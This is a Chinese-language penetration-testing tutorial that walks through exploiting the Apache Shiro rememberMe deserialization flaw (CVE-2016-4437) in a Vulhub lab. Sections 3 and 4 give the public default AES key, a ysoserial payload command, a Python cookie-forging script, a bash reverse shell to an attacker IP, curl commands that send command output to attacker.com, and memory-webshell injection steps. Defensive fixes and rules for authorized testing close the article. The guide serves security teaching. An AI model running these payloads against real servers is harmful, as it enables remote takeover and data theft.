Shiro550漏洞复现:从Java反序列化到RCE实战解析
2026/6/21 15:39:00 网站建设 项目流程

1. 项目概述:为什么Shiro550至今仍是渗透测试的必修课?

如果你在安全圈待过一段时间,或者正在学习渗透测试,那么“Shiro550”这个编号你一定不会陌生。它就像渗透测试领域的一个“经典咏流传”,从2016年被披露至今,依然活跃在各种红蓝对抗、渗透测试实战和CTF比赛中。这个漏洞的官方编号是CVE-2016-4437,核心问题出在Apache Shiro框架的“记住我”(RememberMe)功能上,由于默认的AES加密密钥硬编码在框架源码中,导致攻击者可以构造恶意的序列化数据,加密后作为Cookie发送,最终在服务器端触发反序列化,实现远程代码执行(RCE)。

为什么一个八年前的漏洞还值得我们花时间复现和研究?原因有三。第一,存量资产巨大。Apache Shiro作为一个强大且易用的Java安全框架,被广泛应用于大量企业级Java Web应用中,尤其是那些历史遗留系统。第二,漏洞原理经典。它完美串联了Java反序列化、AES加密、密钥硬编码等多个安全知识点,是理解Java Web安全漏洞链的绝佳案例。第三,利用工具成熟,危害直接。利用链成熟,一键化工具多,一旦存在漏洞,往往意味着服务器权限的直接沦陷。对于安全工程师、渗透测试人员甚至开发人员来说,掌握Shiro550的复现,不仅是掌握一个漏洞利用技巧,更是深入理解Java应用安全风险的一扇窗口。本文将从一个实战者的角度,带你从零开始,在可控的靶场环境中,完整复现Shiro550漏洞的检测、利用和深度分析过程,并分享一些在真实渗透中才会遇到的“坑”和技巧。

2. 漏洞原理深度拆解:从“记住我”到命令执行

要成功利用一个漏洞,绝不能停留在“脚本小子”的层面。我们必须深入理解其触发原理,这样才能在工具失效、环境变化时,依然能够灵活应对。

2.1 Shiro的“记住我”机制与安全假设

Apache Shiro的“记住我”功能,其设计初衷是为了提升用户体验。当用户登录时勾选“记住我”,Shiro会生成一个包含用户身份信息的序列化对象,使用AES加密后,以rememberMe为键值对,存储在用户的浏览器Cookie中。下次用户访问时,Shiro会读取这个Cookie,解密、反序列化,从而自动恢复用户的登录状态,无需再次输入密码。

这里隐含了三个关键的安全假设:

  1. 加密密钥是保密的:AES加密的安全性完全依赖于密钥。Shiro默认使用AES/CBC/PKCS5Padding模式。
  2. 序列化数据是可信的:反序列化的对象来源于自己加密生成的数据。
  3. 密钥具备唯一性:每个应用应该使用自己独有的密钥。

CVE-2016-4437的根源,就在于Shiro框架默认违反了第一条和第三条假设。在1.2.4及之前版本中,用于加密rememberMeCookie的AES密钥是硬编码在源码中的(org.apache.shiro.mgt.AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES)。这意味着,全球所有使用默认配置的Shiro应用,都在使用同一个密钥:kPH+bIxk5D2deZiIxcaaaA==(Base64编码)。

注意:这个默认密钥是公开的。攻击者一旦识别出目标使用Shiro框架,就可以尝试使用这个密钥去解密或加密伪造的Cookie数据。

2.2 漏洞利用链:硬编码密钥与Java反序列化的致命组合

漏洞的利用链条非常清晰,可以概括为以下几步:

  1. 信息收集与指纹识别:攻击者首先需要判断目标是否使用了Shiro框架。常见方法包括检查HTTP响应头(如Set-Cookie中是否包含rememberMe=deleteMe,这是Shiro登出时的特征)、访问特定错误页面,或者使用工具进行被动扫描。
  2. 密钥确认与利用:由于默认密钥公开,攻击者可以直接使用该密钥。如果目标系统管理员修改了密钥,攻击者则需要通过其他方式(如信息泄露、弱口令爆破密钥)来获取,这增加了利用难度,但默认密钥的普及率使得漏洞依然非常危险。
  3. 构造恶意序列化载荷:这是漏洞利用的核心。攻击者需要构造一个恶意的Java对象,该对象在反序列化时能够触发任意代码执行。通常,这会利用已知的第三方库(如Commons-Collections, Commons-Beanutils)中的“gadget chain”(利用链)。例如,著名的CommonsCollections利用链,可以构造一个Transformer数组,最终调用Runtime.exec()来执行系统命令。
  4. 加密与发送:将构造好的恶意序列化字节流,使用已知的AES密钥(默认或爆破得到的)和相同的加密模式(AES/CBC/PKCS5Padding)进行加密,然后Base64编码,作为rememberMeCookie的值,发送给目标服务器。
  5. 触发与执行:Shiro服务端接收到Cookie后,会使用其配置的密钥进行解密。如果密钥匹配,解密成功,接着会对解密后的数据进行反序列化操作。一旦反序列化过程执行,内嵌在恶意对象中的利用链就会被触发,导致预设的命令在服务器上执行。

整个漏洞的杀伤力在于,攻击者无需知道任何用户名和密码,只需要发送一个特制的HTTP请求,就有可能直接获取服务器权限。

2.3 关键组件:AES加密与Padding Oracle攻击的延伸

虽然Shiro550的核心是硬编码密钥,但了解其加密细节有助于应对变种情况。Shiro使用CBC模式,这引入了“Padding Oracle”攻击的可能性。简单来说,CBC解密时,如果填充(Padding)不正确,服务器可能会返回一个与填充正确时不同的错误信息(例如,一个解密异常页面与一个反序列化异常页面)。攻击者可以通过观察服务器的响应差异,来逐字节爆破出加密密钥。

在实际渗透中,如果目标系统修改了默认密钥,我们除了通过其他漏洞获取密钥文件外,还可以尝试使用“Padding Oracle”攻击工具(如shiro-padding-oracle-attack)来爆破密钥。这要求目标服务器对Padding错误和反序列化错误有差异化的响应,并且需要发送大量请求,但它是获取未知密钥的一种有效手段。

3. 靶场环境搭建与漏洞复现实操

理论讲得再多,不如亲手操作一遍。我们将在完全可控的本地环境中,使用Vulhub靶场进行复现。Vulhub是一个基于Docker的漏洞环境集合,一键搭建,非常适合学习和研究。

3.1 环境准备与工具清单

靶机环境

  • 操作系统:Ubuntu 20.04 / Kali Linux 或任何支持Docker的系统。
  • Docker & Docker-compose:必须安装。这是运行Vulhub的基础。
  • Vulhub项目:从GitHub克隆https://github.com/vulhub/vulhub.git

攻击机环境(通常与靶机同一台机器)

  • 操作系统:Kali Linux(推荐,工具齐全)或任何安装有Python的Linux/Mac。
  • 关键工具
    • Python3:运行漏洞检测和利用脚本。
    • Java环境:用于生成Payload。需要安装JDK。
    • ysoserial:一个用于生成Java反序列化Payload的工具库。这是构造恶意对象的“武器工厂”。
    • Shiro攻击脚本/工具:例如shiro_attack.pyshiro-exploit等,社区有很多优秀的开源工具。

实操步骤简述

  1. 在攻击机上,安装Docker和docker-compose。
  2. 克隆Vulhub仓库,进入Shiro漏洞目录:cd vulhub/shiro/CVE-2016-4437
  3. 运行docker-compose up -d启动漏洞环境。这会拉取一个包含Shiro 1.2.4漏洞版本的Web应用镜像并运行。
  4. 使用docker ps确认容器已正常运行,并记下映射的端口(通常是8080)。

3.2 漏洞检测:如何判断目标存在Shiro550?

在发起攻击前,准确的漏洞检测至关重要。盲目发送攻击Payload可能触发告警。

1. 手动检测特征: 访问靶场地址(如http://your-ip:8080),使用浏览器开发者工具(F12)或Burp Suite抓包。

  • 方法一:查看登录/登出响应。尝试访问一个需要认证的页面,或者触发登出。观察HTTP响应头中的Set-Cookie字段。如果发现rememberMe=deleteMe,这是一个强烈的Shiro框架指纹。
    HTTP/1.1 200 OK Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Wed, 01-Jan-2025 00:00:00 GMT
  • 方法二:访问错误路径。Shiro有默认的错误页面。尝试访问一个不存在的路径,有时返回的错误信息会包含org.apache.shiro等字样。

2. 使用自动化工具检测: 手动检测效率低,实战中我们常用工具进行批量或快速检测。例如,使用Python编写的shiro_attack.py(或类似工具)的检测模块。

python3 shiro_attack.py http://your-ip:8080

这类工具通常会发送一个特殊的探测Payload(例如使用URLDNS利用链,它只触发DNS查询,不执行命令,相对隐蔽和安全),如果目标存在漏洞且密钥正确,工具会收到DNS解析记录,从而确认漏洞存在。

实操心得:在真实的渗透测试授权项目中,优先使用无害的检测方式,如URLDNS链。它只会触发一次DNS查询,不会在目标服务器上执行任何命令,避免了业务中断风险,也符合渗透测试的合规性要求。直接使用命令执行Payload进行检测是鲁莽且不专业的。

3.3 漏洞利用:从检测到获取Shell

确认漏洞存在后,下一步就是利用它来执行命令。这里我们演示使用ysoserial生成Payload,并用Python脚本完成加密和发送的完整过程。

1. 生成恶意序列化数据(Payload): 我们需要借助ysoserial。首先确保安装了Java,然后下载或编译ysoserial.jar。 假设我们想执行命令touch /tmp/success来验证漏洞。

java -jar ysoserial.jar CommonsCollections5 "touch /tmp/success" > payload.bin

这条命令使用CommonsCollections5这个利用链,生成了一个执行touch /tmp/success命令的序列化对象,并保存到payload.bin文件。CommonsCollections5是众多利用链之一,在不同版本的JDK和依赖库环境下,可能需要尝试不同的链(如CommonsCollections1,CommonsBeanutils1等)。

2. 加密Payload并构造HTTP请求: 我们不能直接发送payload.bin。需要按照Shiro的流程:AES加密 -> Base64编码 -> 放入Cookie。 我们可以写一个简单的Python脚本,或者使用现成工具。以下是一个简化的逻辑:

import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import pad # 1. 读取Payload with open('payload.bin', 'rb') as f: payload = f.read() # 2. Shiro默认的AES密钥 (Base64编码) key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # 3. AES-CBC加密,IV通常为全零 cipher = AES.new(key, AES.MODE_CBC, iv=b'\x00'*16) # 需要先对Payload进行PKCS5填充 encrypted = cipher.encrypt(pad(payload, AES.block_size)) # 4. Base64编码 rememberMe_cookie = base64.b64encode(encrypted).decode() # 5. 构造HTTP请求头 headers = { 'Cookie': f'rememberMe={rememberMe_cookie}' } # ... 然后使用requests库发送请求

实际上,成熟的攻击工具(如shiro_attack.py)已经封装了所有这些步骤,我们只需要指定目标URL和要执行的命令即可。

3. 发送请求并验证: 使用工具发送构造好的请求。

python3 shiro_attack.py http://your-ip:8080 “whoami”

如果工具显示命令执行成功,并返回了root或当前服务运行的用户名,则证明漏洞利用成功。

4. 获取交互式Shell: 执行单条命令只是开始,我们通常需要获取一个反向Shell,以便进行持续的交互。在Linux下,可以使用bashnc来反弹Shell。

# 假设攻击机IP是192.168.1.100,监听4444端口 # 在攻击机上执行:nc -lvnp 4444 # 然后通过漏洞执行以下命令(需要根据目标环境调整): bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 # 或者使用python、perl、php等语言的一行反弹Shell代码

将上面这条反弹Shell命令作为参数传递给攻击脚本,如果目标服务器出网且防火墙允许,我们就能在攻击机的nc监听端口上获得一个Shell。

注意事项:反弹Shell的命令中经常包含重定向符(>&)、管道符(|)和特殊符号,在通过HTTP参数传递时,需要确保进行正确的URL编码。很多工具内部会处理,但如果自己编写脚本,务必注意这一点,否则命令可能无法正确解析。

4. 利用工具深度解析与高级利用技巧

市面上有很多优秀的Shiro漏洞利用工具,理解它们的原理和差异,能让你在实战中更得心应手。

4.1 主流利用工具横向对比

工具名称语言特点适用场景
shiro_attack.pyPython功能全面,集检测、密钥爆破、命令执行于一体,支持多种利用链,社区活跃。综合首选,适合大多数情况,尤其是需要爆破密钥时。
ShiroExploitJavaGUI图形界面,操作直观,一键化程度高。适合新手快速上手,或不熟悉命令行的场景。
burp-shiro-passive-scanBurp插件被动扫描插件,在BurpSuite流量中自动识别Shiro框架并检测默认密钥。在渗透测试信息收集阶段,进行自动化、隐蔽的资产发现和初步漏洞筛查。
手工利用脚本Python/Java自己编写或修改的脚本,灵活性最高。在遇到WAF、特殊环境或需要高度定制化Payload时使用。

选择建议:对于学习和常规渗透,shiro_attack.py是不二之选。它命令行操作清晰,能让你看到每一步的过程。在需要快速测试大量目标时,Burp插件效率更高。GUI工具则提供了另一种便捷的选择。

4.2 突破限制:无回显命令执行与内存马注入

在真实网络中,漏洞利用往往不会一帆风顺。你可能会遇到命令执行了但看不到回显(无回显),或者服务器有严格的上传限制。

1. 处理无回显(Blind)场景: 如果命令执行了,但HTTP响应中不包含命令输出,我们称之为“盲注”。这时可以采用外带(OOB)技术。

  • DNS外带:执行一个包含唯一子域名的DNS查询命令,如ping -c 1 your-unique-id.attacker.com。然后在你的DNS服务器日志中查看是否有该域名的解析请求,从而确认命令执行。ysoserial的URLDNS链就是基于此原理。
  • HTTP外带:使用curlwget命令,将命令执行的结果(例如whoami的结果)通过URL参数发送到你的服务器。
    curl http://attacker.com/`whoami` # 或者先写入文件再curl whoami | xxd -p | tr -d '\n' | xargs -I {} curl http://attacker.com/{}
    在你的Web服务器访问日志中,就能看到包含命令结果的请求。

2. 注入内存WebShell(内存马): 这是Shiro550漏洞的高级利用方式,目的是在目标Java应用的运行时内存中,植入一个后门,无需向磁盘写入任何文件,对抗性极强。

  • 原理:利用漏洞执行代码,向当前运行的Java Web容器(如Tomcat、Jetty)的上下文中,动态注册一个恶意的Servlet、Filter或Controller。这个恶意组件可以接收请求并执行命令。
  • 常用工具Behinder(冰蝎)、Godzilla(哥斯拉)等WebShell管理工具都支持通过反序列化漏洞直接注入内存马。它们生成的Payload会利用漏洞执行一段Java代码,这段代码会使用Java的反射、类加载等机制,在内存中构造一个后门。
  • 操作流程:以冰蝎为例,在漏洞利用模块中,选择“Shiro”类型,填入目标URL和默认密钥,选择对应的利用链和内存马类型(如Tomcat Filter型),然后生成Payload并执行。成功后,就可以使用冰蝎客户端直接连接内存WebShell。

重要警告:内存马存活于应用内存中,一旦应用重启就会消失。但其注入过程对防御方来说检测难度较大。在渗透测试中,如需持久化控制,往往需要结合写入文件WebShell或建立持久化隧道。

4.3 密钥爆破与利用链选择

如果目标系统修改了默认密钥,我们第一步就需要爆破密钥。shiro_attack.py工具内置了密钥爆破功能,它通常基于两种方式:

  1. Padding Oracle攻击:如前所述,通过差异响应判断密钥。
  2. 已知密钥字典爆破:使用一个包含常见密钥的字典(如cbc.key文件中的密钥列表),尝试每个密钥去解密一个固定的探测Payload,如果解密后反序列化成功(或返回特定错误),则认为密钥正确。

利用链选择: 不同的服务器环境(JDK版本、依赖库)支持不同的利用链。常见的链有:

  • CommonsCollections1-7:适用于较低版本的JDK(如JDK 7u21及以下)和存在相应CC库的环境。
  • CommonsBeanutils1:不依赖CC库,适用范围可能更广。
  • JRMPClient:用于攻击另一台存在反序列化漏洞的服务,实现“跳板”攻击。

在工具中,通常会有--gadget参数让你选择利用链。实战中,如果一条链不成功,应尝试切换其他链。

5. 防御措施与渗透测试中的思考

作为渗透测试者,我们不仅要会攻击,更要理解如何防御,这样才能给客户提供有价值的修复建议。

5.1 企业级防御方案

对于企业开发和安全团队,修复Shiro550漏洞应包括以下层面:

  1. 立即升级:将Apache Shiro升级到1.2.5及以上版本。新版本移除了硬编码密钥,并要求开发人员显式配置。
  2. 安全配置:如果无法立即升级,必须手动在Shiro配置文件中(如shiro.ini或Spring配置)设置一个强且唯一cipherKey。绝不能使用默认密钥或弱密钥。
    # 在shiro.ini中示例 securityManager.rememberMeManager.cipherKey = your_strong_and_unique_base64_encoded_key_here
  3. 禁用反序列化:在业务允许的情况下,考虑使用白名单机制来限制反序列化的类,或者使用更安全的序列化方案(如JSON)。可以集成SerializationWhitelist
  4. 依赖库管理:定期扫描并升级项目中的第三方依赖,避免使用存在已知反序列化利用链的旧版本库(如老版本的Commons-Collections)。
  5. WAF/IPS防护:部署Web应用防火墙或入侵防御系统,配置规则拦截特征明显的Shiro反序列化攻击流量(如包含特定Cookie头和长Base64字符串的请求)。
  6. 运行时防护:使用RASP(运行时应用自保护)技术,在应用内部监控并阻断恶意的反序列化行为。

5.2 渗透测试中的注意事项与报告撰写

在授权渗透测试中,复现Shiro550这类高危漏洞需要格外谨慎:

  1. 授权与范围:确保测试目标在授权书明确规定的范围内。不要对非授权系统进行任何探测或攻击。
  2. 时间窗口:尽量安排在业务低峰期(如深夜)进行漏洞验证,特别是可能执行命令的验证,避免影响正常业务。
  3. 操作最小化:验证漏洞时,优先使用无害验证方式(如URLDNS)。必须执行命令时,执行whoamiidhostname等查询信息命令,严禁执行rm -rf /rebootdd等破坏性命令。创建文件验证时,使用/tmp目录下的临时文件。
  4. 证据留存:对每一步操作进行截图或保存Burp Suite日志,特别是漏洞验证成功的关键证据(如命令执行回显)。这些是报告的重要组成部分。
  5. 报告撰写:在渗透测试报告中,对于发现的Shiro550漏洞,应清晰描述:
    • 漏洞位置:存在漏洞的URL。
    • 风险等级:通常为“高危”或“严重”。
    • 漏洞详情:简述漏洞原理(硬编码密钥导致反序列化RCE)。
    • 复现步骤:提供详细的步骤和截图,证明漏洞真实存在。
    • 潜在影响:攻击者可在未授权情况下远程执行任意命令,完全控制服务器。
    • 修复建议:提供明确的、可操作的修复方案(如上文的防御措施)。
    • 参考链接:附上CVE编号链接、官方安全公告等。

通过这样一次完整的Shiro550漏洞复现之旅,我们不仅掌握了一个具体漏洞的利用方法,更串联起了指纹识别、漏洞原理分析、Payload构造、加密解密、工具使用、绕过技巧和防御修复这一整套渗透测试的实战思维。这才是漏洞复现学习的真正价值所在。在后续遇到其他反序列化漏洞时,你会发现其核心思路是相通的,无非是触发点、加密方式、利用链的不同组合罢了。保持这种探究原理的习惯,你的渗透测试能力才会持续精进。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询